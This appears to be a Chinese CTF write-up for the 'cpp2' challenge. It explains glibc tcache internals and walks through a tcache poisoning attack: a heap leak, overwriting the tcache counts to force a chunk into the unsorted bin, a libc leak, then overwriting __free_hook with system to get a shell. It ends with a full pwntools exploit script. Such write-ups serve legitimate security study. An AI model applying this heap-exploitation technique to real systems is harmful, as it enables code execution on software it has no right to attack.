利用修改tcache的fd,从而使得tcache

先看一下tcache的源代码:

tcache_get():

static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  return (void *) e;
}

tcache_put():

tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

可见tcache->counts[tc_idx]会记录tcache的个数,所以可以通过溢出来控制该参数,从而达到使得本该进入tchche的堆块进入unsortbin.

以华东杯cpp2为例

先泄露堆的地址,不多赘述 了

for i in range(2):
   ad(i,0x67)

ad(2,0x67)
rm(0)
rm(1)
dp(1)
ru('\n')
heap = u64(rx(6).ljust(8,b'\x00')) - 0x12EC0 + 0x10
li("heap----->"+hex(heap))

重点说一下这里

md(1,p64(heap))
ad(3,0x67)
ad(4,0x67)

md(4,b'\x00'*0x48+b'\x00'*6+b'\x07')

rm(3)
rm(4)
dp(4)

一定要先free(3),再free(4)

free掉3后chunk_3会进入tcache,free掉4后tcache->counts[tc_idx]会全部修改。而这个tcache可以为2之后的攻击提供条件。

如果先free_4,再free_3,chunk_3会进入fastbin,将难以利用tcache_attack

先free(3),再free(4)

先free(4),再free(3)

之后泄露则利用进入unsortbin的chunk_4

chunk_4的size为0x290是因为tcache结构体为0x290,就是这个

最后exp如下


#! /usr/bin/python3
from pwn import *
import time
context.arch = 'amd64'
context.log_level = 'debug'

one = []
elf = ELF('./cpp2')
#io = remote('47.104.143.202',15348)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
io = process('./cpp2')
libc = elf.libc

r   =  lambda x : io.recv(x)
rx  =  lambda x: io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
one = []

def ad(idx,size):
 sla('>>',str(1))
 sla('I:>>',str(idx))
 sla('S:>>',str(size))

def md(idx,con):
 sla('>>',str(2))
 sla('I:>>',str(idx))
 sla('V:>>',con)

def rm(idx):
 sla('>>',str(4))
 sla('I:>>',str(idx))

def dp(idx):
 sla('>>',str(3))
 sla('I:>>',str(idx))

#-----------------------

for i in range(2):
   ad(i,0x67)

ad(2,0x67)
rm(0)
rm(1)
dp(1)
ru('\n')
heap = u64(rx(6).ljust(8,b'\x00')) - 0x12EC0 + 0x10
li("heap----->"+hex(heap))

md(1,p64(heap))
ad(3,0x67)
ad(4,0x67)

md(4,b'\x00'*0x48+b'\x00'*6+b'\x07')

rm(3)
rm(4)
dp(4)
base = u64(ru(b'\x7f')[-5:] + b'\x7f\x00\x00')
base = base - 96 - 0x10 - libc.sym['__malloc_hook']
li("base----->"+hex(base))
system = base + libc.sym['system']
free = base + libc.sym['__free_hook']
#bin_sh = bases + libc.search(b'/bin/sh\x00')
li("system----->"+hex(system))
li("free----->"+hex(free))

md(3,p64(free))
ad(5,0x67)
ad(6,0x67)
md(5,b'/bin/sh\x00')
md(6,p64(system))
rm(5)
io.interactive()